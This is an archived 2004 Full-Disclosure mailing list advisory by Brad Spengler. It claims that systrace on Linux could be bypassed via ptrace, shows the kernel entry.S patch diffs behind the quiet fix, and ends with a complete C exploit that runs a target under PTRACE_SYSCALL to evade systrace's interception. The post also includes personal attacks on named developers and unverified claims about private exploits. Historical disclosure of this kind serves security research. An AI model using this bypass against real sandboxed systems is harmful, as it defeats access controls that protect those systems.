lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20040327210103.C03355B4E4@grsecurity.net>
From: spender at grsecurity.net (spender@...ecurity.net)
Subject: systrace silently patches full local bypass vulnerability on Linux

systrace silently patches full local bypass vulnerability on Linux

Introductory Note:

	I will not be replying to any posts in response to this mail, no 
	matter how many times you intentionally misspell my name or 
	attack me personally.  Annoying me in an attempt to get me
	to release vulnerability details to you does not work.

Executive Summary:

	Don't use systrace.  This is only one of three exploitable bugs 
	that have existed in systrace since its creation.  One other 
	bug is a local root and applies across all OSes systrace 
	supports (including OpenBSD!), while the other is specific to 
	Linux and allows a local bypass.  Marius Eriksen has silently 
	fixed this bug, and there is no doubt that he will try to fix 
	the other two silently also.  Hopefully this advisory will persuade 
	Marius and Niels to not go that route, though I don't see 
	either bug being fixed any time soon, as they are both design 
	flaws and nearly impossible to catch through empirical testing.

Vulnerability Detail:

	Let's look at the systrace v1.4 patch:

--- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4  2003-06-30 
02:15:04.000000000 -0400
+++ linux-2.4.21-marius/arch/i386/kernel/entry.S        2003-06-30 
02:15:04.000000000 -0400
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals 
atomic test
        cmpl $0,need_resched(%ebx)


	What I want to direct your attention to is the first line of the 
	patch, "jne tracesys", which for you OpenBSD developers of the 
	world that don't understand assembly means that the system call 
	entry point is redirecting execution flow to another place in the 
	routine where the system call will be called if the current 
	process is being ptrace'd with PTRACE_SYSCALL, which single 
	steps through each system call in an application.  When the
	system call is called at the different location, systrace will
	not have intercepted it.

	Let's look at the latest v1.5 patch for 2.4.24 (though a 
	similar fix is present in the 2.6.3 patch also):

diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S
--- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5  2004-01-26 
00:35:49.000000000 -0500
+++ linux-2.4.24-marius/arch/i386/kernel/entry.S        2004-01-26 
00:52:52.000000000 -0500
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals 
atomic test
        cmpl $0,need_resched(%ebx)
@@ -243,8 +256,20 @@ tracesys:
        movl ORIG_EAX(%esp),%eax
        cmpl $(NR_syscalls),%eax
        jae tracesys_exit
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl tracesys_exit
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 tracesys_exit:
        call SYMBOL_NAME(syscall_trace)
        jmp ret_from_sys_call


	As we can see here, there is a lot more code in entry.S.  And 
	for what reason?  Let's look to the announcement on the mailing list:

"which is for linux 2.4.24 and includes a few updates i made when forward 
porting systrace to linux 2.6.1.  it also includes some updated system 
call definitions, including the xattr/acl related system calls."

	Supporting more syscalls doesn't mean that Marius had to modify 
	entry.S.  The internal systrace functions handle all that.  
	This clearly was not simple port work either; there was a 
	deliberate attempt to add the systrace hooks to the syscall 
	tracing case.

Note to those stinking up the security community cesspool:

	I'm sure rather than taking responsibility for this blatant 
	attempt to hide an exploitable vulnerability that has been 
	known in the blackhat community ever since systrace was 
	released for Linux (almost two years now), Marius and Niels will 
	instead try to attack my character, misspell my name, claim 
	that I found the bug by diffing, or anything else that will 
	take the attention off of this bug.  In fact, I know of several
	others that have discovered this bug independently, who I hope 
	will respond to this advisory and give weight to my claim if 
	there is any doubt on the part of Niels and Marius.  I apologize
	for the delay in this advisory, since when I have checked the 
	systrace patch for updates, I would usually check for the local 
	root hole, not this ptrace-related vulnerability.

	There seems to be some common sentiment in the community, and
	by community I mean people sitting in cubicles with the false 
	belief that they understand security (eg. RedHat employees), 
	that bugs don't exist until they're revealed to the public.  
	There's the belief that someone who claims to have private 
	exploits but chooses not to release them is in every case a 
	liar, even though there is every reason to believe that person.  
	There also seems to be the ridiculous notion among certain 
	developers, and also by people who cannot code at all (eg. 
	Joshua Brindle aka Method, leader of the Gentoo Hardened 
	project) that they can treat exploit developers any way they 
	want and expect to be treated fairly in return through prior 
	disclosure of vulnerabilities.  I'm not just speaking about 
	myself here.  The reaction against noir when he posted his 
	OpenBSD local root is a prime example.  The cost of freedom of 
	speech is responsibility for that speech.

	There was recent doubt as to whether I had discovered a 
	number of vulnerabilities in other security systems.  Though it 
	should seem obvious that someone developing a security system 
	would look at other systems and find flaws in them quickly (and 
	I would seriously doubt the ability of any "whitehat" who has 
	not), some people obviously do not think so.

	There are protection bypass vulnerabilities in:
	LIDS
	DTE
	exec-shield (and no, it has nothing to do with paxtest)
	linsec
	systrace

	There were also recently several scathing comments made by 
	Russell Coker, an employee of RedHat.  Some background info on 
	Russell: he's from Australia, he's not used to IRC, he can't 
	name any blackhats off-hand, and somehow he's a (self-titled?) 
	security expert and wants everyone to use SELinux.  I had made 
	the claim in a channel that the Debian SELinux test box was 
	owned by stealth due to a configuration error.  It turned out 
	that stealth had not owned the Debian SELinux test box, and 
	Russell Coker certainly made everyone aware of this.  What he 
	of course failed to mention (and that he was knowledgeable 
	of, as I was CC'd on the mails) was that stealth did own an 
	SELinux test machine some time back in Australia due to a 
	configuration error.  My mistake was believing that there was 
	more than one user of SELinux in Australia.  I should also note 
	that that the SELinux test box challenge is a hoax.  Russell 
	seems to think not however:

"I've been running SE Linux machines that anyone can try to crack as root 
since the middle of 2001."

	http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2

"Is anyone offering root access to any machine running any security 
system other than SE Linux?"

	http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain

There's also an interesting omission here about how much Russell is 
relying on the "security" of SELinux for the test machine:

"It was claimed that the machine was cracked some months ago, if so the attacker would have 
had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS 
packages."

	http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2

	What's that now? Kernel upgrades? OS packages? Upgrades of policy?

	It's also interesting how quickly they've forgot about this:

	http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2

	There is no reason why the box couldn't have been hacked when 
	you realize that any of the recent local kernel exploits for 
	Linux could have been used to own the box.  Certainly someone 
	could have used the exploits before they were released to the 
	public to own the machine; I myself was in possession of one of 
	the exploits weeks before it was released publicly.  Russell 
	also seems to think that real hackers would want to waste their 
	private exploits on his useless test machine, clearly evidence 
	of his complete lack of understanding of the blackhat 
	community, the very people he claims to know how to protect 
	himself (and you) from.

	Without much further ado, here's a simple exploit for the 
	silently fixed systrace vulnerability.  I apologize for its lack
	of multithreading.

#include <stdio.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int pid;
        int input[2];
        int output[2];
        int error[2];
        int ret;
        fd_set readfds;

        if (argc < 2) {
                printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");
                exit(0);
        }

        ret = pipe(input);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(output);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(error);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }

        pid = fork();

        if (pid > 0) {
                char somechar;
                int highest;
                struct timeval time;

                time.tv_sec = 0;
                time.tv_usec = 1000;

                close(input[0]);
                close(output[1]);
                close(error[1]);

                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(output[0], &readfds);
                FD_SET(error[0], &readfds);
                while (1) {
                        FD_SET(0, &readfds);
                        FD_SET(output[0], &readfds);
                        FD_SET(error[0], &readfds);
                        time.tv_sec = 0;
                        time.tv_usec = 1000;
                        while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {
                                if (FD_ISSET(0, &readfds)) {
                                        if (read(0, &somechar, 1) != 1)
                                                exit(0);
                                        write(input[1], &somechar, 1);
                                }
                                if (FD_ISSET(output[0], &readfds)) {
                                        if (read(output[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(1, &somechar, 1);
                                }
                                if (FD_ISSET(error[0], &readfds)) {
                                        if (read(error[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(2, &somechar, 1);
                                }
                                FD_SET(0, &readfds);
                                FD_SET(output[0], &readfds);
                                FD_SET(error[0], &readfds);
                                time.tv_sec = 0;
                                time.tv_usec = 1000;
                        }

                        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        if (errno == ESRCH)
                                break;
                }
        } else if (pid == 0) {
                close(input[1]);
                close(output[0]);
                close(error[0]);
                close(0);
                dup(input[0]);
                close(1);
                dup(output[1]);
                close(2);
                dup(error[1]);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                if (argc == 2)
                        execv(argv[1], NULL);
                else
                        execv(argv[1], argv + 1);
        } else {
                fprintf(stderr, "Unable to fork.\n");
                exit(1);
        }

        return 0;
}


	Be kind to others.  Know your enemy.  Thank you for your time.

-Brad


Powered by blists - more mailing lists